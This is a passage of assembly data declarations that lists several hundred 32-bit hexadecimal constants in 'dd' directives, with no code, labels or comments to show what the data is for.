		dd 0C88A0A01h, 0E1381A9Fh, 0D197EB33h, 50F2AC58h, 0F27C7DC2h
		dd 1C3726D2h, 0C509DBA3h, 2626044Dh, 0C4FA3B8Dh, 0FA476EEBh
		dd 8287D148h, 0D8E73054h, 2EF6C2Ah, 4A0D00CEh, 1906A6D8h
		dd 40A498C3h, 0D59B5089h, 16697D63h, 0D9C006E3h, 0FFB43CD5h
		dd 99918677h, 0F8638E1Dh, 0C61BE5DAh, 0E4113864h, 0F4E72F21h
		dd 3CBBEFD6h, 825EABABh, 3CA6BA94h, 0F5804205h,	46860014h
		dd 0F472461Eh, 5F8F6CC5h, 5BDE1891h, 0D0E9ED85h, 3E374039h
		dd 0D5C3E8A8h, 5C58B3ABh, 2254DB78h, 28C6EA4Ah,	34E6269Eh
		dd 38BF8CF7h, 0B57B83F7h, 232A3AB3h, 70FE6BB9h,	569475B5h
		dd 390EBCBBh, 3D8E8A60h, 0D241765Ah, 9E040AA3h,	5308DFD3h
		dd 81F7D284h, 0A84D999Bh, 0D189E1FFh, 0C94C6F98h, 172A3F16h
		dd 0BF3C99FCh, 88418C96h, 0E0F8B179h, 73E79E17h, 9915414Ah
		dd 8030636Ch, 2D54349Dh, 732C264Ah, 6BF85916h, 0C86C3ED9h
		dd 19D27300h, 3BFF1D61h, 0F8452520h, 6628B1D3h,	53BE9ADCh
		dd 423EB857h, 0B289DB3Fh, 0A8785F42h, 0F098940Eh, 0FDB67FCFh
		dd 15C13E2Eh, 0F2F0DBAAh, 0EFAD5FFCh, 17F212B7h, 0D3ED7194h
		dd 93A3ED29h, 58C191F8h, 50C261CAh, 45A94DBAh, 0AE424C34h
		dd 141D9F75h, 11D2150Bh, 2C181CFh, 0B4E05114h, 0EDE47A1Eh
		dd 0CB16166Bh, 8036E631h, 5C3C07D3h, 0BC892A87h, 180E43B3h
		dd 88CC02Fh, 2563402h, 2A535359h, 9B8C2C33h, 0B75A3D80h
		dd 0B6E52550h, 0A1341215h, 0F74A752Eh, 48F368CDh, 0FD73C6B8h
		dd 0A0240D44h, 8F48AC74h, 2E073C20h, 0EB43635Bh, 0B5BBE749h
		dd 24F3F366h, 71CF5E9Dh, 9C478E80h, 7D1FE120h, 530A9AACh
		dd 6703AAB8h, 0DD848F22h, 0E1AC5EDDh, 0D4FF044Ah, 2E48C14h
		dd 2D148B88h, 4D522053h, 946A9C20h, 5C5C38A1h, 0BCFFC7A2h
		dd 0DEDA02EFh, 0C9F33D85h, 4B08FC59h, 26AE4965h, 12C57D76h
		dd 0D96E527Bh, 19273224h, 0C185AC4Dh, 814BEAD4h, 94318D61h
		dd 0F6F10BFEh, 0A970E7DDh, 0F31D8D5Fh, 0D3748266h, 9483BF85h
		dd 0C8C2A9Dh, 0F1D3AC49h, 0D2BB7DE0h, 59727085h, 7F087F26h
		dd 94EBB496h, 0D358446Fh, 0AC56330Bh, 1FE72DE5h, 859640CEh
		dd 0A8670C46h, 62B8F88Ah, 0A5BB94E4h, 2522C3ACh, 80226156h
		dd 60AABA85h, 0DD86334Ch, 0EDA62A19h, 66FC046Bh, 89735BB2h
		dd 0E22752EFh, 0C52A9A52h, 25F03E05h, 67AADD46h, 8B49409Fh
		dd 3DEC7487h, 0EF66F062h, 220C103Dh, 8EE802B2h,	74F7FF2Fh
		dd 8CF9A893h, 6675924Dh, 178DF82Bh, 5AC44B67h, 95AA8C65h
		dd 8DA0940Fh, 37C7A7BEh, 93947D3Ah, 0C00B22EBh,	690D87B3h
		dd 9D508F7Fh, 0F525CAE6h, 35458A57h, 0A6C0FEACh, 0C4671FE7h
		dd 98227E6Eh, 8837F570h, 0C4AC6BCDh, 7F61E01Eh,	29E51C97h
		dd 65D71823h, 6B1D9220h, 0B7F107D8h, 16AE0EE7h,	0B3F2E7C2h
		dd 5A850B17h, 99521601h, 9D960CBDh, 92788ECh, 42D54380h
		dd 511C8C63h, 2523F4DAh, 90690583h, 186397EDh, 4BD8126Ah
		dd 0B04378BCh, 9E78040Dh, 8493C27Bh, 0A1249720h, 6BB8752Dh
		dd 2BA74B78h, 8AB0FCBh,	0AA258055h, 7DDDD79Eh, 6BC129BFh
		dd 20E29E7Fh, 0EBB57B2Fh, 0CB0B8FC9h, 0CDAF308Ah, 16A54BFAh
		dd 38E0CFEFh, 0AD3579ACh, 4B480E84h, 0AF435384h, 2F9295B6h
		dd 408EF525h, 627620E5h, 0B0D53F98h, 51CD6358h,	6AEBDAB5h
		dd 793C438Dh, 0CCDC3DBCh, 5A5F58BDh, 36FCB635h,	0BDA5124Dh
		dd 0EF503B96h, 6FF89ADDh, 0EDA51954h, 5C107C89h, 52A433Fh
		dd 0C2E75D88h, 0ECEEDD1h, 0FB9A91A7h, 9CD0FB6Bh, 9B2509EAh
		dd 0CB71F665h, 2124BD0Eh, 0A67155A7h, 739FAD95h, 0C967B036h
		dd 8E8E2E72h, 522C66AAh, 2294C9CAh, 0F7DF870Ch,	0F934AED5h
		dd 876C00Fh, 3577A3AAh,	72E09ECFh, 64E1CB89h, 0FBBBF84h
		dd 7EEF76C1h, 0A0BC9E0Bh, 59E897D7h, 0D8670071h, 6F7FF506h
		dd 0B735C482h, 0F82D1E70h, 1B55158Bh, 5D0AA8DDh, 0F85F63AAh
		dd 0D1D34FE4h, 38E608DAh, 0EB0F9F80h, 0F4AE9D55h, 89BE39FDh
		dd 0D39B3C73h, 30E658B4h, 5D74130Eh, 0C3580837h, 0A1C6EC96h
		dd 9A6AEB9Ch, 0AC8A3CDh, 0FA4F85EAh, 0D8B84394h, 844691E3h
		dd 0DCBD1525h, 60EDCF30h, 43DCB731h, 0E1850EA1h, 24AB38A0h
		dd 0EFDA97FFh, 35D4CBC0h, 5CBE7A6Ah, 67150DABh,	2B23C29h
		dd 99D16FE7h, 0A6DD73BAh, 5FC2CE0Dh, 40E06E52h,	0B664557Fh
		dd 4D73CDA9h, 0E6E16FA6h, 0F8D8337h, 0DCB5881Ah, 5335CA7h
		dd 0EE79D53Fh, 0C60F0078h, 0F7DA0B5Fh, 47241D94h, 0F25ACDD3h
		dd 0FF6EDBFBh, 0EDAAA420h, 781DCB93h, 74154864h, 0A0E3520Dh
		dd 86BA736h, 0B93AB5FDh, 175B0295h, 4710FE42h, 0A6A027B2h
		dd 6CCC4416h, 749BE4C7h, 94C07050h, 9F502A9Fh, 6F927D6Bh
		dd 0E11A11EAh, 0AA294FADh, 53FE1720h, 7F3A1335h, 0E6AA38A1h
		dd 57825476h, 0B638C483h, 67FC7484h, 6D316709h,	0F3BDA681h
		dd 511FF14Fh, 0F27A963Fh, 653BDC71h, 0A26C9ED4h, 0C1903C89h
		dd 7544A0C0h, 7D2C796Fh, 10ED2D4Dh, 3CB3F132h, 8A1EA682h
		dd 798FFBDh, 0CA6C091Fh, 0C4962BF0h, 30A61C7Fh,	994C1D38h
		dd 5D7E2E27h, 0E7314873h, 8296B084h, 0E2C04D07h, 1BC6B53h
		dd 0AEDB3C42h, 76551D24h, 0CA35DD90h, 0C40AFA00h, 121C3510h
		dd 0DCCDFAC4h, 302E94F3h, 0E27B4C3Eh, 7C60F264h, 608BB658h
		dd 0F2AFC91Bh, 0ED09D1E3h, 74677693h, 8662D693h, 0C6E13629h
		dd 3ADEC705h, 5FE2784Ah, 0FB6F72F9h, 5DFB510Ah,	14DDC368h
		dd 9A2E26D6h, 0CEA0D7A4h, 38E69E05h, 1303C403h,	1EADB02Ch
		dd 0BE5E86AEh, 671BAC74h, 330104C6h, 0FBEC6425h, 0D40EA1F5h
		dd 7F6B36D6h, 0C13CA60h, 0DCDAE085h, 0F76BCA3Dh, 0CA535AB0h
		dd 830774FEh, 133CC8D2h, 8A59C951h, 0B58EABA8h,	667D27C9h
		dd 6505B0DCh, 32EE4D7Bh, 0BBB39ECAh, 0AC13F1EDh, 97229427h
		dd 0FF57E4A8h, 0EF2FBAA0h
		dd 6132FD7Eh, 5E35E93Bh, 3ACBBE93h, 93452585h, 9C396E6Ah
		dd 1D90BD96h, 7EC3D471h, 3DC08CC6h, 0DFC70908h,	67120B1Ch
		dd 0EA2BABC0h, 9148B785h, 0A47949B4h, 39528870h, 3E7B324Bh
		dd 1B40C48Bh, 86379054h, 0A706B4C3h, 4A71B406h,	0E4940E20h
		dd 0D09CEC8Fh, 7CA9454Dh, 89D4E1ADh, 61D716D3h,	0C5BF4608h
		dd 6CA79AE9h, 6B3E88D8h, 0B29627EBh, 8A11345Bh,	0E2D6CC51h
		dd 0F356EEF2h, 25BB8DB6h, 826E15Bh, 8554005Ch, 33E5BD67h
		dd 0DA81229Bh, 0F8B30BA0h, 8D57EAEAh, 0D83D2236h, 1699BC7Ch
		dd 474B4F46h, 37291F1Eh, 0B68A3551h, 44407EDFh,	0B7502EC5h
		dd 1BC6428Ah, 0D9423B0Dh, 2C64BC7h, 4FBD4973h, 0F675E4FBh
		dd 0C6BA4D70h, 45B9E40h, 13AC4D14h, 0C2F23D1h, 0B45D0AD9h
		dd 8C1EE993h, 0C9955CAAh, 244E83A7h, 0FFED287Bh, 0CC15467Ah
		dd 0F4FCF34Fh, 2B5DFF0Fh, 55F35F9Dh, 7C457F09h,	99566611h
		dd 0AA782272h, 96BA33FDh, 0E650692Fh, 9DE98BDDh, 80A04D92h
		dd 43D2D394h, 75C4D83Bh, 2F6EED32h, 0F6D09707h,	0F49C53D3h
		dd 89F24EB3h, 6FE8F463h, 1ED0D21Eh, 1041B26Dh, 0FDF5D607h
		dd 0EC26838Ch, 57D65E8Ah, 5864B3B1h, 0A043C0A2h, 8612A1F7h
		dd 0F5FF62D3h, 10CED4E0h, 8CEDB9Fh, 0DAE6F9EBh,	4576B936h
		dd 0F9AAA808h, 0C056DF7Bh, 4944F110h, 425B735h,	220FFDB6h
		dd 0B002CFC1h, 35072508h, 4BD60719h, 0ECEF8BA7h, 0EADCD484h
		dd 0EF6408A4h, 0E9ABB0ACh, 0A7CE3E11h, 215028Ch, 0B734D00h
		dd 381ECE8Dh, 2FC85796h, 0BB4B6EECh, 0BD57669Bh, 87C7FFDCh
		dd 0FB92C33Dh, 22F1FFCCh, 0EA2C4E7Fh, 6A7314DAh, 145B53BCh
		dd 0AFFEEF5Dh, 0D1AFAD69h, 0AB7E717Bh, 44AE1E89h, 2EF5B15Fh
		dd 34A2DB7Ah, 91450FEEh, 34F14702h, 69BEC633h, 4B93EB4Bh
		dd 272CBFA8h, 0A0DA4F64h, 9307233Bh, 36A9A673h,	0B7CC2EDCh
		dd 50614DA5h, 0F2860865h, 0E6D35EF4h, 791316CAh, 1A7AD993h
		dd 0D9A47E14h, 70FE7598h, 0C8A6A2AFh, 643F921Bh, 60665AB6h
		dd 4ED0D758h, 318ABBB4h, 0B49A537h, 3423B9FCh, 0F4DB4E60h
		dd 0E4328DFEh, 0CA4FA9D7h, 0CA42C277h, 0FEEA6A0Bh, 0AD4F7743h
		dd 806E92F1h, 3A900177h, 696694B6h, 403BBD17h, 14C63D60h
		dd 0C759B0ADh, 6E2D8813h, 3F0FFAE3h, 73BD2249h,	0E3BE0F56h
		dd 0F2143A55h, 512FF1C1h, 60607D8Ch, 0E6C73C51h, 61CB3870h
		dd 6A8B2A94h, 1BADB883h, 55045A7Bh, 0A484AB58h,	0B64143EEh
		dd 0E6C41D19h, 27E30B67h, 0CE204E9Ch, 0C5496786h, 400D058Eh
		dd 9C0CC955h, 2FA9D209h, 0C2EE185Eh, 0D98C9CAEh, 0F5846B28h
		dd 62552F6Bh, 9F95E55Ch, 6BFF0271h, 9D490BC1h, 5B19D035h
		dd 54F73075h, 40CF3658h, 0EEC272F4h, 87FC8CC7h,	14D7A082h
		dd 5EC9C9F0h, 5E01F907h, 98833E83h, 0ACB84988h,	7FAA9C2Bh
		dd 633F44AAh, 821AC2C7h, 436A4665h, 4CAEA8F1h, 0FB475891h
		dd 0BB791984h, 95F89732h, 4C0462FFh, 0E23F6411h, 0BBA9D4F5h
		dd 8B677A6Fh, 9DB960D0h, 999E816Dh, 43B8BC85h, 910FC0F0h
		dd 0DF1AC5E9h, 37E1086Dh, 0BB1BA1B6h, 75A31518h, 2E4DF7DAh
		dd 9703FC6Eh, 785F093Dh, 368D9310h, 0C15F480Ah,	4B5B101Fh
		dd 94611A5Ch, 8AD3F97Fh, 33825E9Eh, 12D480C2h, 3C44AE9Dh
		dd 0A302A355h, 0D304FAF6h, 891DE126h, 5948F2ECh, 1D5D1919h
		dd 0DA9F9F12h, 15E8CAF9h, 22E7F84Fh, 0ADA6C89Bh, 15527770h
		dd 93293C05h, 6A22E2FAh, 0D96354C7h, 0DEEC4308h, 0B780877Dh
		dd 0D44DA38Ah, 291C085Fh, 0BFDDB173h, 9CA23EC0h, 9D400B8Bh
		dd 0B45EFB75h, 4BE03F50h, 0B5C7D4D0h, 0B7EF811Dh, 2DEB8FBAh
		dd 0DDCB1E2Eh, 0C07EA5DBh, 5024E107h, 9430148Dh, 4FD6E097h
		dd 0FDCFB136h, 0EF4F189Eh, 60CCC258h, 9ED075Eh,	9D01BB5Eh
		dd 273B3F02h, 0B39D6433h, 72A037C4h, 0E274AF19h, 6618B4C0h
		dd 0DE695F6Eh, 0BCD2F07Ah, 312F593h, 0DF272061h, 0BF663994h
		dd 0D0D6D884h, 0DAD32A82h, 142A8D36h, 9CA50F7Fh, 0C2C5E77Bh
		dd 0EB6FD68Ah, 0E290A205h, 60F9D044h, 0A13F80ABh, 9280013Eh
		dd 18AD9231h, 0D37240FCh, 0A62A2246h, 0B0F62524h, 350BA834h
		dd 747D6475h, 0ACE8F28Ah, 0EA48E3A0h, 799C3EC3h, 0EB5D6186h
		dd 300DD138h, 9DCA6834h, 66DA0B06h, 0CC9CC98h, 0DD0F96E1h
		dd 0B7A15105h, 5504318Ah, 0F782389Bh, 7BA31739h, 0C292D9BFh
		dd 0A56332EFh, 39200BE8h, 9BC0169Ch, 9C81F2DEh,	2725B4D8h
		dd 0F30BCE94h, 0C7B25A14h, 1FFF7576h, 621DB6D8h, 0DE582016h
		dd 0DB48B90Eh, 87891CD5h, 69140F40h, 926445C7h,	0F0AEF104h
		dd 0B8D4C725h, 93CF5CFh, 0FBE580E7h, 7DE96657h,	0E30A24E0h
		dd 455B7859h, 1712B11h,	8148C7F2h, 28C5BC36h, 0AAA19426h
		dd 0E846570Bh, 0C5814F4Eh, 1816ABA6h, 85C3C1DBh, 2594EA38h
		dd 6FDE0F6Ah, 5063CD2Ah, 213577CAh, 0CFB136F1h,	5170A91Fh
		dd 55618802h, 628E4CE1h, 39DDD004h, 33D8F044h, 0F39A4355h
		dd 0D326F3FDh, 0A72C5FB5h, 6C727D96h, 2EAF1B99h, 0CE16C114h
		dd 4BF5A673h, 1B3F1489h, 0E5BD2D0Dh, 0C064140h,	0C519212Dh
		dd 0BADF1395h, 91293BD3h, 0E51D2DADh, 4863113Ch, 2016C375h
		dd 16B5CDF8h, 4E2F159Dh, 71F4892Ah, 0F27DA436h,	0F99723C1h
		dd 366F64E5h, 0D77953FAh, 0CFD15338h, 0EA1A1AFDh, 1D440ECDh
		dd 0F36F1607h, 8FEB7412h, 0ED65F747h, 0D3F9C403h, 718C360Dh
		dd 57E3CFB8h, 64B1F680h, 0A6D3FA25h, 8C97F7FCh,	63BDCC83h
		dd 60211A6Bh, 0D34366C9h, 836E5A2Eh, 0D677C1C5h, 67B88D6Dh
		dd 0C185162Ah, 0A7485B3Ah, 8B7FD022h, 702235DAh, 0D299721h
		dd 404CE337h, 0CDE2349Ah, 0D2685CEFh, 62E634FBh, 306D33A8h
		dd 40A62DB5h, 21F99C2h,	0D7A8AAAh, 1080EBEh, 2995874Fh
		dd 0AE126A1Ah, 26149C4Ch, 71241C3Fh, 4B059A7Fh,	2D3E23DBh
		dd 9A1A8C91h, 730A39DEh, 7BEB39D6h, 0FC695181h,	440254E7h
		dd 239F1084h, 8428BEFCh, 0F10AC7B3h, 309BA70Ah,	0BC615614h
		dd 0A9DF373Eh, 56426D4Bh, 68B03700h, 0AA816B95h, 8ABA85E5h
		dd 55768528h, 0DFFE4C99h, 0DAFF31Ah, 7063E4BBh,	0B63EF741h
		dd 1766623h, 7C28881Eh,	2CBA45FCh, 127EEDA3h, 0C8D15A53h
		dd 0A7CD98D9h, 30937CA3h, 0DE1D0632h, 0DC11AA51h, 1A671C91h
		dd 243DA014h, 0BBCB6296h, 54206D4h, 1B250855h, 47C93A2Fh
		dd 6A77B48Dh, 915EE373h, 5E93CA0Ch, 0B9FF32BEh,	0B64C3A8Bh
		dd 44EDB84Fh, 8C3CD4BAh, 0BD5AAED9h, 4274E4F5h,	63E432Ch
		dd 65294874h, 63E45448h, 6494CB44h, 331BF269h, 2138AD6Dh
		dd 2F25745Eh, 0F04C195Ah, 0CAF60E95h, 0CD3200B6h, 0EBC60A19h
		dd 2166BE22h, 2C041F6Bh, 48638227h, 6E1716Fh, 4A4F9722h
		dd 0E689881Dh, 3F2AFAE5h, 26786267h, 73D81348h,	0BD5811E4h
		dd 0CC5823B0h, 5DE8153Ah, 5E36ED64h, 25737875h,	794DC803h
		dd 296DC191h, 133350ECh, 0B1724DBFh, 606062A1h,	250B793h
		dd 5735445Dh, 0D6D537EEh, 7B889FE6h, 1F1ABE04h,	0A75FB741h
		dd 4B1D903Ch, 0F50CA894h, 0E4361153h, 0A00C6770h, 26E4DAE4h
		dd 58A1D6Dh, 2B2A39BFh,	0AE229B5Bh, 0F7CF4B1Bh,	9B890520h
		dd 3E6F484Eh, 0C5F3A5Ch, 37F677A1h, 2F07FE65h, 34360634h
		dd 6292D64Bh, 0BEFB0567h, 98A85946h, 1FC45803h,	4FA3B6B5h
		dd 2910DB16h, 7ED37473h, 23ADA7Fh, 3BA0CD43h, 0A18A7AC8h
		dd 1849311h, 0D6171087h, 68F8589h, 2B02F6Dh, 767C7371h
		dd 298FAA66h, 6CDC46A3h
		dd 0AD787D83h, 59990645h, 17EAA08Fh, 0FEA31F2Eh, 0E9AE6C5Dh
		dd 6422D9B0h, 24E8922Eh, 7E410768h, 835B9AA5h, 0BFEAD939h
		dd 0D5204EBFh, 4C63CCAFh, 2B635541h, 0C80746EAh, 7134F147h
		dd 7C5E7A6Bh, 43D59E43h, 96FB9E8Eh, 14688C46h, 115B17EFh
		dd 60801DEDh, 795F2F9Fh, 4C81EA8Ah, 543AD22Dh, 7A476092h
		dd 7694E38Ah, 0DE3E217Ch, 0D28D9E78h, 21DBC09Eh, 0D57CAC70h
		dd 0BBE9736Fh, 4A20B098h, 330C98A9h, 25CE27E4h,	0F6DC5B7Bh
		dd 8008ED3Ah, 29C24E2Ah, 76914FA2h, 37FA0D05h, 0CA58C304h
		dd 97073E5Bh, 0AEDF1665h, 0DAE87E99h, 5F87570h,	278D5E1Eh
		dd 969EAA5h, 0AD44A8C2h, 0A1E9509Eh, 17BC2012h,	0A84F1A54h
		dd 33131111h, 0E2F7AA84h, 0DBD7DC65h, 4FB2E8ECh, 2F6D8B2Ch
		dd 0DB9A9AF3h, 206B25C4h, 8AC5567Dh, 48A917E6h,	103C9566h
		dd 97198854h, 83C5112Eh, 0D65044CFh, 0BCD9BD3Ah, 0AABB0097h
		dd 79A3F5B7h, 265F5AA7h, 0E45F7800h, 853887A4h,	7423ABF8h
		dd 9C7BD86Fh, 0C57A50EAh, 0CECB22FEh, 0D6214B75h, 394572DFh
		dd 0F18C3AA3h, 6F0CD05Ch, 31D35D59h, 99D84A30h,	0CDF6B43Dh
		dd 0AA501EC6h, 9FCDEA34h, 0FDC5FD82h, 9AD45C21h, 0EC58AFFDh
		dd 95EC213Ch, 5EB79442h, 0A47CFD75h, 0F053FDE1h, 5E841A2Ch
		dd 0DFF6F15Eh, 36236807h, 6FE14550h, 0B9FD9EBh,	98E5DDFDh
		dd 8CD54C70h, 3FEC6EA1h, 957BEE56h, 6AFCD9E2h, 3027C5C6h
		dd 5ECCFBDFh, 0F2452067h, 0E2C76BEFh, 0B020993Bh, 0A3EC6504h
		dd 0E2D2BEF3h, 0AC8BDD73h, 17B8F87h, 0ED60CB63h, 0B4C6F9C8h
		dd 4BCD5BEh, 0D30BFDEBh, 3B96C7C5h, 4A29B88Dh, 0F1BC04BAh
		dd 0F25CAF74h, 1DF4EB64h, 0AE37CEC5h, 0E6C09F91h, 7A5EB817h
		dd 0B2EE3F18h, 0C21112CFh, 0BC78EF6Dh, 0BCB5BF5h, 659B917h
		dd 1BC5CBDBh, 0E0B8F57Fh, 0A606C833h, 5A1464F6h, 805E132Bh
		dd 0D4B1C122h, 2F467E51h, 5E0DF009h, 0E2D46B11h, 4EB7C884h
		dd 4E38FAFBh, 0C55D136Ch, 0C495A00Dh, 68C73E72h, 22A8564Bh
		dd 64367892h, 0D1423965h, 0EF20F0F7h, 69EE6732h, 0FB4670BDh
		dd 1913AD66h, 49052495h, 8C9BEA14h, 2E9A7BABh, 7B8978A3h
		dd 4A8C7939h, 0CA17AC39h, 3C3B5A2Ch, 0E5AB6F96h, 4ECBF4F7h
		dd 92DE54DCh, 4B6BD33h,	0A84AABA1h, 8DBAD48Ah, 16DC2F54h
		dd 31F9FBB7h, 0C4D632C5h, 93CEDF0h, 9B1F6C6Bh, 98EAEE19h
		dd 0AAFFB6E6h, 0E668FD64h, 61525652h, 275BB0D6h, 0E40B07B3h
		dd 0B81AFB7Fh, 0ACBCB41Ah, 588628E7h, 7D3F1FB7h, 0D63CDFFFh
		dd 1A391AB7h, 0E3198FD5h, 6AF7A911h, 8A1A7A94h,	0A61D29A1h
		dd 540FC21Eh, 0A48E87F2h, 6D1D5CB0h, 18CB1064h,	0C757977Eh
		dd 0D08A5038h, 8825ED1h, 0E0751866h, 0BCF7F086h, 1B2AC3Ah
		dd 71E7D5D4h, 0CFFD9F88h, 8E6D097Bh, 0A4336B3Ah, 3BBACD6Fh
		dd 0F8C8F10Bh, 6444D7E9h, 0E72DC460h, 110F1174h, 834C19ECh
		dd 5038A277h, 0D61C2C25h, 0C673CE92h, 3BC4AD42h, 0E781B0C6h
		dd 8D25094Fh, 915DCE8Ch, 2D01FFE0h, 7D5E70A8h, 2DA9D537h
		dd 0C7B515A6h, 0A0B0B7AFh, 41363A14h, 4AEC4A8Bh, 92C48AE4h
		dd 0C524C759h, 1EBD9B8Dh, 6A972704h, 0CDAE8EE0h, 2C7E36CCh
		dd 0D0364029h, 0E4E83E2Bh, 0D4BB97EBh, 0D0398EAEh, 18BFF493h
		dd 6B85559Dh, 0B7228747h, 7D77F23Eh, 950FD05Eh,	0EE5099E4h
		dd 0F23C5D21h, 0B06B2E2Dh, 9EBBAA73h, 0EC861307h, 0EFBE7E17h
		dd 6141BB20h, 681EBE15h, 0ACCDD4F1h, 7A1B3D70h,	6B641088h
		dd 0F9BF4F64h, 5A6D5AAh, 0AEAD5711h, 0A6B058C9h, 0D37E861Ch
		dd 6D78F2AEh, 0B6D0AFDh, 0ACBC95CAh, 0A287AE21h, 0FFBA8CD7h
		dd 348B11E5h, 23EC4877h, 7F03AB9h, 0B94D478Dh, 825B66FBh
		dd 5154F16Bh, 0A8608B6Fh, 35ED1770h, 0B71EF1E9h, 2658ADD9h
		dd 28AE35F8h, 0C7E28F83h, 4FEA11AAh, 0BDAF5F28h, 32B0BE9Ch
		dd 0DD903579h, 8ABCCFFDh, 2208AEEEh, 88555F8Dh,	41E411EBh
		dd 71911847h, 0B31167F1h, 3242F1D9h, 0A960752Fh, 0C250D442h
		dd 0B564BF55h, 0D09C73F3h, 22E42A1Bh, 480B0036h, 0A2312137h
		dd 0E7A04AAEh, 0C8B18B63h, 0FFE359DBh, 0CD861293h, 94494EBDh
		dd 0FF109863h, 38A11C01h, 0D8C03E3Ah, 6CFFCFF5h, 173A0F47h
		dd 1CFC5B1Bh, 0D1F41C2Fh, 5EF71252h, 0A15911F6h, 0FF218FD6h
		dd 0D98FB62Eh, 1505A795h, 378017DEh, 1C0C4E61h,	0B581AE18h
		dd 14214E47h, 5862A407h, 24AD6E5Eh, 0CAA8C8CFh,	0C9A82996h
		dd 362E5218h, 0C522858Dh, 1F07BD20h, 0FB80B5C7h, 8C0022D6h
		dd 327FCE8Bh, 0D7A5F7A1h, 47D62134h, 0BFF54452h, 345BB8A8h
		dd 0C41282BEh, 0E79E38A6h, 9C17D82Ch, 35E8E7FFh, 8AAD401Ch
		dd 2B5FA1EAh, 9270262Eh, 4CAC6CD7h, 8D970B9Dh, 7411911Fh
		dd 7EFD55E5h, 0CE050CDDh, 8F08D3A0h, 3FBF84C6h,	0ADEE54EBh
		dd 0C07AABD5h, 0F606B84Fh, 0A1833776h, 275345EDh, 538DE0Ah
		dd 0B13BF462h, 70681A6Fh, 3D7F399Eh, 14987449h,	0CC1C7B7Ah
		dd 5CAFCBDDh, 33141DD6h, 0CEA35DA7h, 93C02CD4h,	0EC317A75h
		dd 0C07FBB4Dh, 4AC9EE6Dh, 0FE4BDBF9h, 0D5365468h, 0F54D678Ch
		dd 36A9DFBFh, 0A83D1616h, 9EC706D4h, 73501CAEh,	0C8F2A275h
		dd 6AE7ED52h, 17F5A563h, 0C5423EBAh, 0F59FFB18h, 72453727h
		dd 53852B4h, 0B618C726h, 8625251Bh, 1AED8AC6h, 846846D7h
		dd 2403693Ah, 7A97AE82h, 50175832h, 3842F022h, 747B04B7h
		dd 0E357D118h, 7DC16C4Ch, 0C76C452Fh, 138DF0CBh, 857A185Fh
		dd 4F5A5AF1h, 1A20473h,	0F1E799EBh, 0DBBBD886h,	0B7670411h
		dd 854498DAh, 0B2A7367Dh, 0DCDC8B11h, 33EB2688h, 38FBDF90h
		dd 469E0D40h, 0A67A12C2h, 8F2C5922h, 130FA05Eh,	3E1C7F1h
		dd 9DE8891Ch, 0ECCFC9FBh, 739CCCCCh, 36F744FAh,	4868335Ch
		dd 2E640C00h, 2353C4F5h, 3DBD2277h, 9E352CE1h, 503B5123h
		dd 98B15AC1h, 89FB6CB4h, 985C013Fh, 0A3A3F8C5h,	6A527171h
		dd 0AC0B915Ah, 7CC536D5h, 37F57EBDh, 7983FFFEh,	4F288137h
		dd 381BB4EAh, 7A699DA5h, 24E2C519h, 0EE288D74h,	0F78F84EAh
		dd 0D700BD98h, 0E842F85Bh, 0CE89F7BBh, 0DA9B6E01h, 4D793799h
		dd 63790070h, 19A8CE85h, 10E2AC85h, 0D42C0CE8h,	0CBB8E5FCh
		dd 467B7B2Bh, 6F1C636Fh, 0E3C9302Ch, 8890E894h,	492AD96Fh
		dd 1F4CA4A2h, 8B7606E0h, 0CC7F368Ah, 1C48278Bh,	0C90E5924h
		dd 31CFCDD1h, 0A4A4D11Eh, 0D90191A6h, 31FFC4E1h, 0FB2938AFh
		dd 0C8E13E08h, 98392493h, 0ACD88393h, 0F53D3C02h, 0EE263A97h
		dd 60154DB0h, 9AFC5620h, 0BF5C856Bh, 11EE5376h,	15AEA711h
		dd 1EF14502h, 425C1A79h, 0B0DAB557h, 1DC204F6h,	10B1DDA3h
		dd 9BEB2BCh, 57EA4C32h,	2F80A5D8h, 2ECB5A75h, 6CDF1F4Ch
		dd 6B6CC934h, 0DA3A1542h, 341DB3AEh, 585C2111h,	31AAB62Eh
		dd 65ADAF5Fh, 0B9B8FCCBh, 5B86733Ah, 5E488FD0h,	0D0E95F2Bh
		dd 0A5794F11h, 0A2375421h, 95347C81h, 0D37F399Ah, 0F741A93Dh
		dd 2726F439h, 5EE42E55h, 0A028D627h, 0ACE75F8h,	734B924Bh
		dd 116973FDh, 0DE37BDE9h, 2A810426h, 5FA5A474h,	339E9A8Bh
		dd 0CCAB3405h, 0CC36F91h, 5FA1D3F3h, 0D5303BD7h, 0A0CAC647h
		dd 45239D8h, 0B946FD39h, 0C0D0DD3Ch, 0EE7E7BFCh, 0B4CA4315h
		dd 0DD242CB4h, 0AACC962Bh, 19BCAC95h, 94551A41h, 0B2E07B30h
		dd 0CD2948Ah, 99C90C88h, 0AE2F516Eh, 0BBD7E5Dh,	4A33EFD7h
		dd 42F40914h, 26FF37AEh, 0BCFC13FAh, 7B3B5DB2h,	0D1C6745Bh
		dd 0B628A3ECh, 33629610h
		dd 42903466h, 6C518A9h,	0E6E5C199h, 75BB684Ah, 0BB40A374h
		dd 910CF151h, 73A1A4A7h, 0B033EE02h, 54256D2Dh,	0E1190CBCh
		dd 0FBBE1CC2h, 95826757h, 31129569h, 87A72191h,	0FBCAC900h
		dd 121A6AB0h, 373C9EEFh, 84635AAFh, 13EB18B3h, 99E4BB26h
		dd 545009CAh, 3BF8280Bh, 4E8C6563h, 0B64F4032h,	4242B114h
		dd 644757C7h, 0C55DA3C7h, 0B9652FAh, 0B93CBD1h,	0CDCB0DCDh
		dd 1C533103h, 0F0385D57h, 0D7AE5A0Bh, 4F708E76h, 19DE768Ah
		dd 0A84560A2h, 0B5917043h, 0A39C1021h, 3AE4EAD3h, 362F9E04h
		dd 4617F865h, 0B63B59BAh, 5C0C47E7h, 6C72E7A8h,	0F486756Dh
		dd 0E8DC8EA8h, 0BC2BAE22h, 0FF35D00Dh, 0CC5D355Fh, 4A2D2558h
		dd 68D2A01h, 25EF43CCh,	3ED2AA64h, 480CEE6Fh, 530C5FE2h
		dd 0D001A67Dh, 0B95F682Ch, 54078993h, 147A868Eh, 0EA20233Fh
		dd 0DCD3907Dh, 8196320Fh, 0C4D9E941h, 65CB1095h, 6B475FD4h
		dd 0C13FD7AAh, 4A72E3D9h, 0D5964EBh, 0A3B7A253h, 6B961CCCh
		dd 8A1E27CDh, 2AFF11D9h, 0C51901A9h, 5EA7C32Ah,	6EDAA380h
		dd 8DACA0E2h, 28286CD7h, 233E6414h, 19B106C7h, 5BA20958h
		dd 40201F3h, 0DC17A84Ah, 8EC6CED2h, 0C8E7A9C9h,	91C713D8h
